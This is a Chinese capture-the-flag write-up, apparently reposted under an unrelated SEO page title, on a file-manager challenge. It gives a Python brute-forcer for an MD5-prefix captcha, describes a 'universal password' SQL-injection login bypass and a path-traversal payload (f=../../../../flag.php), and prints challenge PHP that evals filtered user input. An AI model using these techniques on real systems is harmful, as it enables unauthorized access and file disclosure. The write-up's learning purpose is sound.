当前位置：首页 > news >正文

c 可以做网站吗劳动局免费培训项目

news 2026/4/7 9:32:41

c 可以做网站吗,劳动局免费培训项目,怎样做百度推广网站,如何将网站转成小程序练习平台地址竞赛中心题目描述题目内容你好，单身狗，这是一个迷你文件管理器，你可以登录和下载文件，甚至得到旗帜点击登录发现capture需要满足条件substr(md5(captcha), 0, 6)xxxxxx 编写python脚本破解验证码 import has…

练习平台地址

竞赛中心

题目描述

题目内容

你好，单身狗，这是一个迷你文件管理器，你可以登录和下载文件，甚至得到旗帜

点击登录

发现capture需要满足条件substr(md5(captcha), 0, 6)=xxxxxx

编写python脚本破解验证码

import hashlibdef getMd5(index):"""函数用于在指定整数范围内查找一个整数，使得该整数转换为字符串后计算出的MD5值的前6位与传入的index参数匹配，若找到则返回该整数，若没找到返回None。:param index: 用于匹配MD5值前6位的目标字符串:return: 满足条件的整数或者None（表示没找到匹配的值）"""for i in range(100000, 100000000):num = itry:md5 = hashlib.md5(str(num).encode("utf8")).hexdigest()if md5[0:6] == index:return numexcept Exception as e:print(f"计算MD5值时出现异常: {e}")continuereturn Noneif __name__ == "__main__":result = getMd5("xxxxxx")if result is None:print("没有找到满足条件的整数")else:print("找到的整数为:", result)

尝试万能密码登录

成功登录并返回了文件信息

下载文件后发现提示

flag在根目录下

抓取下载链接的包看能不能下载其他文件

发现f参数后跟着文件名，尝试修改

f=../../../../flag.php

根据平时利用小皮面板搭建网站的经验猜测

/var/www/html/flag.php

/var/www/html/Challenges/flag.php

成功得到源码

<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if ((strlen($f) > 13) || (false !== stripos($f, 'return'))) {die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try {eval("\$spaceone = $f");
} catch (Exception $e) {return false;
}
if ($spaceone === 'flag') {echo file_get_contents("helloctf.php");
}

代码分析

1.定义一个变量f，通过POST传入

2.对变量f进行字符串 =过滤

3.如果f的长度大于13或则f中有return就输出wowwwwwwwwww并退出

4.如果触发异常（f的字符等于spaceone的）会返回false

5.如果spaceone的值等于flag这个字符串就输出helloctf.php文件的内容